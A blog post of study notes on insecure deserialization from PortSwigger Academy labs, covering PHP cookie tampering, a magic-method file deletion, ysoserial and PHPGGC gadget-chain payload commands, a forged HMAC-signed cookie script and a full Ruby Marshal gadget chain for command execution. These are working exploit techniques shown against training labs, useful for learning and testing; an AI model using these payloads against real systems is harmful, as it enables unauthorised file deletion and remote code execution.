Exploring Insecure Deserialization

A brief overview

To prepare for OSWE I am working through the awesome PortSwigger Academy material and labs. This post contains my notes on Insecure Serialization made while working through the labs.

Why serialize data?

Data serialization converts structured data into a standardised format. This allows the sharing and storage of the data in a form that allows the recovery of it’s original structure and state.

So basically serialization is taking a live object in memory, converting it into a format that allows it to be stored somewhere and then later deserializing the data back into a live object.

Some forms of serialization also compress the data, therefore reducing the file size on disk. In large organisations this can translate into a significant cost reduction.

What does serialized data look like?

It depends on the language but it is either stored in a human-readable string format (PHP) or in a binary format (Java). To identify serialized data look for the PHP methods serialize() and unserialize(). Serialized Java objects always begin with the same bytes ac ed (HEX) and rO0 (B64). Look for the readObject() method within code if whitebox testing as this is used by Java to deserialize data.

Below is an example of some base64 encoded serialized data within the Cookie header:

POST /my-account/delete HTTP/1.1
Host: ac9c1fde1ffea6b280ca56ea00ca00b3.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://ac9c1fde1ffea6b280ca56ea00ca00b3.web-security-academy.net/my-account/
Cookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6IjFJa3gwdERtaUNkY0dDandRT29kRGxOcFZsaUJCYlkzIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
Upgrade-Insecure-Requests: 1

Here is the decoded output:

O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"1Ikx0tDmiCdcGCjwQOodDlNpVliBBbY3";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

Looking at the serialized object we can see that:

and so on for the rest of the data. So in this case it simply consists of a list of attributes with key:value pairs.

So how is this exploitable?

In the above POST request the serialized data originally contained the key value pair:

s:11:"avatar_link";s:18:"users/gregg/avatar"

I grabbed the base64 serialized data from burp, decoded it using Burp Decoder and modified the avatar_link value to:

s:11:"avatar_link";s:23:"/home/carlos/morale.txt"

Note: you must also update the character length (s:18 to s:23)

After modifying the serialized data I re-encoded it into Base64 using Burp Decoder and pasted the modified data back into the Cookie: header of the above POST request. Making a POST request to the URL /my-account/delete using the unmodified serialized data deletes the user account (I logged into the web application as gregg) and the file at the location /users/gregg/avatar. Sending the modified serialized data instead, deletes a known file on another users account, which in this case is /home/carlos/morale.txt. So by simply modifying the file path we are able to arbitrarily delete files on the server. Pretty neat!

The above example shows how to use a web applications own functionality to exploit insecure deserialization but it can also be used as a simple authentication bypass. Take the below code for example:

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
   // allow access to admin cpanel 
}

Now lets say the serialized data contains the following object:

O:4:"User":2:{s:8:"username":s:6:"carlos"; s:7:"isAdmin":b:0;}

Looking at the key:value pairs we can see the second attribute isAdmin. The value of :b:0 indicates that this is a boolean value and in this case the value is 0 (False). Simply by changing the value to 1, adding our new serialized data to the appropriate header and making a new request will bypass authentication and allow access to the admin control panel!

Advanced techniques

Magic Methods

Magic methods are special methods that are not directly invoked by the user. The invocation (sounds like magic!) happens internally from the class on a certain action. For instance in Python when you add two numbers using the + operator, internally, the _add_() method will be called. There are alot of magic methods. To check for yourself open up Python and type dir(int) and you will see all of the magic methods defined in the int class. Most magic methods are prefixed or surrounded with double underscores as you can see:

py_magic_method

So essentialy magic methods can be added to a class to be executed when a specified event or scenario occurs.

Magic methods are used everywhere and are not an inherent vulnerability. They can become a vulnerability when they handle user controlled data (i.e from a deserialized object).

Serializable classes can also declare their own readObject() methods like so:

private void readfObject(ObjectInputStream in) throws IOException,
ClassNotFoundException{...};

Here’s how to exploit a magic method using user controlled serialized data:

First we find some source code that contains deserialization magic methods and then check if the magic method performs an operation on controllable data that we can exploit.

To grab the source code from the website I used this great tip from Portswigger Academy:

You can sometimes read source code by appending a tilde (~) to a filename to retrieve an editor-generated backup file.

In this case it works! The following code was retrieved from the target webserver using Burp:

<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Looking over the source code we can see that there are two magic methods defined within the CustomTemplate class, __construct and __destruct. __destruct appears to delete the lock file created by the __construct magic method. Lets try and use __destruct to delete an arbritrary file on the webserver.

To accomplish this we are going to have to pass our unserialized data to the __destruct magic method somehow. When a session is initiated with this particular webserver a serialization session mechanism is used. The following serialized data is sent and deserialized on the web-server:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"EU6edXXohIyW2Y5erJVDM3zHDEpjdoSR";}

Instead of sending back this serialized session data lets be assholes and send a CustomTemplate object identified from the source code instead of a User object:

O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

I used the the serializededitor website to create the data as it automatically calculates string length.

create_data

and encoded the data back to Base64 using Burp Decoder:

encoding

After replacing the User object with the CustomTemplate object and sending it an error is returned but this doesn’t matter as our new object is already instantiated and the target file has been deleted!

error

Java Gadget chains

The example above used only one magic method to exploit the web server. It is also possible to chain together a series of method invocations to exploit a target. This is know as a gadget chain.

It would be very difficult to identify a gadget chain without access to the source code. Luckily there are known gadget chains that have been used successfuly on other web servers that we can try even without knowing the source code. The reason that this is possible is due to web servers that use standard or similar librarys, therefore it stands to reason that if one web server can be exploited using gadget chains from one library then any other web server using the same library should be exploitable also.

To conduct this attack we are going the Java deserialization exploit tool ysoserial. Download the latest release from here or build from source.

So lets exploit it:

Let’s just say that through enumeration we have discovered that the target is using the Apache Commons Library.

Lets run ysoserial and take a look the usage:

ysoserial

So it appears that all we need to do to generate a payload is specify the desired payload and the command to execute. As we have identified that the target is using the Apache Commons library we will try the CommonsCollection4 (yes I tried 1,2 and 3) payload and attempt to delete an arbritrary file from the web server.

To generate the payload I used the following command:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 'rm /home/carlos/morale.txt' 2>/dev/null | base64 | tr -d '\n' > payload.bin

The command does the following:

All that remains is to copy the payload into the appropriate header value and send it to the web server. To do this I used Burp Suite to intercept a request containing the serialized session data, removed the old data and pasted in the generated payload. Prior to sending the payload remember to URL encode the payload. To do this highlight your payload -> right click -> convert selection -> URL -> URL-encode key characters.

sent_payload

After sending the payload using Burp the file on the web server was successfully deleted!

PHP gadget chains

For PHP the PHP Generic Gadget Chains library can be used.

First you need to identify the framework in use by the server. In this case an error divulges that the server is running Symfony 4.3.6. Viewing the page source also shows that the file /cgi-bin/phpinfo.php exists on the server. Viewing the output from phpinfo.php we can see under the PHP Variables section that the variable $_SERVER[‘SECRET_KEY’] exists.

php_info

error2

Using PHPGGC a payload is generated to delete the file ‘/home/carlos/morale.txt’ using the following command:

./phpggc Symfony/RCE4 exec "rm /home/carlos/morale.txt" | base64 | tr -d '\n'

A request is then intercepted within Burp and it is apparant that the cookie is signed due to the ‘sig_hmac_sha1’ key being present:

sig_hmac

To generate a valid signed cookie the following PHP code can be used:

<?php

/* ./phpggc Symfony/RCE4 exec "rm /home/carlos/morale.txt" -b */

$object = 'Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==';

$secretKey = 'a1x5uqho8n85w741rysqyvn5sipxh35u';

echo $payload = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');

?>

Note: The secret used to sign the cookie is the value from the SECRET_KEY php variable discovered earlier.

running our new script generates the serialized url encoded cookie:

gen_script

All that remains is to paste the output into the “Cookie: session=” header/variable in an intercepted Burp request and then send the request to the web server!

final_request

After sending the request to the web server the file is deleted and RCE is achieved. Since we are now able to use PHP functions such as exec and system we would be able to escalate the RCE to a shell.

Ruby gadget chains

For the technical side of this published exploit refer to these links:

PHRACK - Attacking Ruby on Rails Applications
elttam - ruby-deserialization

The below code is a universal gadget chain to achieve arbitrary command execution for Ruby 2.x:

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id") # Command to execute.

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

The above code will generate a base64 encoded serialized payload and verify it working locally (using a local ruby install). To exploit a remote web server copy the base64 encoded output and replce the original serialized data within your captured request with the payload.

References

Java Deserialization cheatsheet
PorSwigger Academy

******
Written by Shain Lakin on 07 July 2020